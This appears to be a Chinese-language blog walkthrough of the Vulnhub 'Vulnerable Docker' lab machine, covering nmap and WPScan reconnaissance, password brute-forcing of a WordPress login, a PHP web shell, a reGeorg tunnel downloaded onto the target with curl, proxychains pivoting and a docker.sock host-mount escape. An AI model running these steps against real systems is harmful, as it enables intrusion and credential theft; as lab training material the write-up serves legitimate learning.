記一次對Vulnerable Docker靶機滲透全過程
Vulnhub
它是一個提供各種漏洞環境的平臺,裏面大部分的環境是要用VMware
或者VirtualBox
打開運行的。
今天我主要是使用VMware
搭建一個Vulnerable Docker
靶機環境,主要是爲了練習使用。
完整找出所有flag
只是基本任務,實現提權纔是終極目標。我並不追求最快奪旗,而是儘可能運用所學的知識完整的運用在這套靶機中,所以,
這篇文章中,或許某些內容對拿到flag
無直接幫助,但在應對真實目標時,還是有一點幫助的。
0x01:Vulnerable Docker靶機下載
裏面有各種各樣的鏡像,可以下載到自己的機子上面練習。
(需要我們注意的是,下載靶機環境的時候,我們需要提前看清這個靶機環境是否支持VMware
的安裝,否則就不可以安裝在VWMare
上面)
今天我們選擇的是使用Vulnerable Docker: 1
靶機環境
首先:這個靶機環境支持VMware
環境的安裝。
其次:靶機環境比較簡單(flag
只有三個)
靶機下載地址:Download
:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
0x02:Vulnerable Docker靶機安裝
下載完成之後就會看見有ova
格式的文件
雙擊導入VMware
中就可以了(具體操作過程)
點擊下一步:
最後等待導入完成,導入速度看本機性能和鏡像的大小
再對靶機環境進行配置一下:
啓動Vulnerable Docker
靶機就可以看見
0x03:完成任務!
作者給我們的描述是:這裏裏面有三個flag
(其中的flag_2
被發行者無意中遺漏了)
We have planted 3 flag files across the various machines / systems that are available to you
Your mission if you choose to accept would be as following:
Identify all the flags (2 in total: flag_1 and flag_3) (flag_2 was inadvertently left out)
1:網絡掃描
啓動Vulnerable Docker
靶機就可以看見:
使用nmap
對靶機IP
地址進行掃描:
nmap -A 192.168.232.134
2:flag_1
我們先打開8000
端口,看看有沒有flag
:
使用WPscan
進行漏洞掃描:
wpscan --url http://192.168.232.134:8000/
打開鏈接:http://192.168.232.134:8000/robots.txt
使用WPscan
進行枚舉用戶名:
wpscan --url http://192.168.232.134:8000/ --enumerate u
按照正常思維對用戶名進行爆破:
wpscan --url http://192.168.232.134:8000/ -e u --wordlist /root/桌面/1.txt
並沒有爆破得到任何信息(QAQ):
這個時候需要我們再回頭開始看起,看見一個鏈接,wordpress
的登錄端口:http://192.168.232.134:8000/wp-admin/
使用剛剛爆破出來的用戶名bob
填進去就可以了,而在這裏的密碼需要使用burp
進行爆破(具體操作過程)
爆破得到:
成功登錄後臺(經過一系列的亂翻之後就會找到)
3:flag_3
這下面的操作是在我的另一個kali
中的操作(具體原因下文會提到)
如果可以進入Wordpress
的後臺,那麼拿shell
就很簡單了,使用在線編輯功能就可以。
使用菜刀上傳一句話(php
)
連上shell
後收集了下面的一些信息
數據庫中的信息:
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'WordPressISBest');
define('DB_HOST', 'db:3306');
系統是 Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux
,用戶是
www-data
,這麼新的系統直接就可以放棄提權了,否則Dirty COW
之類的洞還是超級好用的,不過我們可以參考下面這一篇文章,找到一點靈感
可以參考Tunnel Manager - From RCE to Docker Escape
:https://paper.seebug.org/396/
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 scope global eth0
valid_lft forever preferred_lft forever
想起題目是Vulnerable Docker VM
,猜想應該就是docker.sock
或者HTTP API
未授權訪問之類的問題,不過翻了下沒找到什麼。
但是看機器的IP
,感覺這個虛擬機裏面應該還有個docker network
的內網,簡單的ping
了下,發現至少是存在172.18.0.1-4
的,這時候
需要做一下內網穿透,這樣方便在我的電腦上操作,否則shell
裏面缺少很多工具和依賴,比較麻煩。
我使用的是 reGeorg
:https://github.com/sensepost/reGeorg
curl -o tunnel.php
https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
瀏覽器訪問了一下,顯示Georg says,'All seems fine'
本地電腦上運行python reGeorgSocksProxy.py -u http://192.168.30.171:8000/tunnel.php
[INFO ] Log Level set to [INFO]
[INFO ] Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.30.171:8000/tunnel.php]
[INFO ] Checking if Georg is ready
[INFO ] Georg says, 'All seems fine'
因爲reGeorg
提供的是socks5
代理,所以需要本地使用proxychains
具體配置不多說了
proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4
連接數據庫,
但是並沒有找到什麼 flag
,然後繼續掃內網,還是nmap
那一堆命令加上proxychains
前綴就好。
然後發現一個IP
有個奇怪的端口
Nmap scan report for 172.18.0.3
Host is up (0.0062s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
8022/tcp open oa-system
curl
看了下,貌似是一個網頁,然後在設置了瀏覽器的socks5
代理,就看到了,原來是一個網頁版ssh
,而且這裏面終於有docker.sock
。
接下來就是老套路了,可以參考 :Docker學習與remote API未授權訪問分析和利用:https://www.secpulse.com/archives/55928.html
而我是直接在另一個kali
中裏面安裝了一個docker
,這樣就可以操作主機上的docker
了。
然後使用volume
掛載主機上的所有文件到一個目錄
docker run -it --rm -v /:/vol wordpress /bin/bash
這樣就可以看到flag_3
了
關於這一個靶機漏洞可以學習到很多知識
首先:關於wordpress
漏洞
其次:提權中遇到的關於Tunnel Manager - From RCE to Docker Escape
漏洞
最後:關於Docker
的自學以及Docker
學習與remote API
未授權訪問分析和利用
參考資料:
Vulnerable Docker靶機下載:https://www.vulnhub.com/entry/vulnerable-docker-1,208/
Docker學習與remote API未授權訪問分析和利用:https://www.secpulse.com/archives/55928.html
WPScan使用完整教程之記一次對WordPress的滲透過程: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46194&page=1#pid511454
Docker學習:https://www.bilibili.com/video/av17854410?from=search&seid=13990341548063716463
Tunnel Manager - From RCE to Docker Escape:https://paper.seebug.org/396/